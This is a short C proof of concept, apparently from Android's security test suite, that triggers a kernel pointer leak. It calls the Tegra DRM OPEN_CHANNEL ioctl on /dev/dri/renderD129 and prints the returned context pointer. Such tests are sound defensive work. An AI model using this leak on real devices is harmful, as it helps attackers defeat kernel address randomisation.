1 /** 2 * Copyright (C) 2018 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions vand 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <sys/types.h> 18 #include <sys/wait.h> 19 #include <sys/syscall.h> 20 #include <unistd.h> 21 #include <string.h> 22 #include <stdint.h> 23 #include <stdio.h> 24 #include <fcntl.h> 25 struct drm_tegra_open_channel { 26 __u32 client; 27 __u32 pad; 28 void* context; 29 }; 30 #define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717 31 int main() 32 { 33 int fd, rc; 34 struct drm_tegra_open_channel open_args = {0,0,0}; 35 open_args.client = 0x21; 36 fd = open("/dev/dri/renderD129", 0, 0); 37 rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args); 38 39 printf("Leaked ptr is %p\n", open_args.context); 40 return 0; 41 } 42
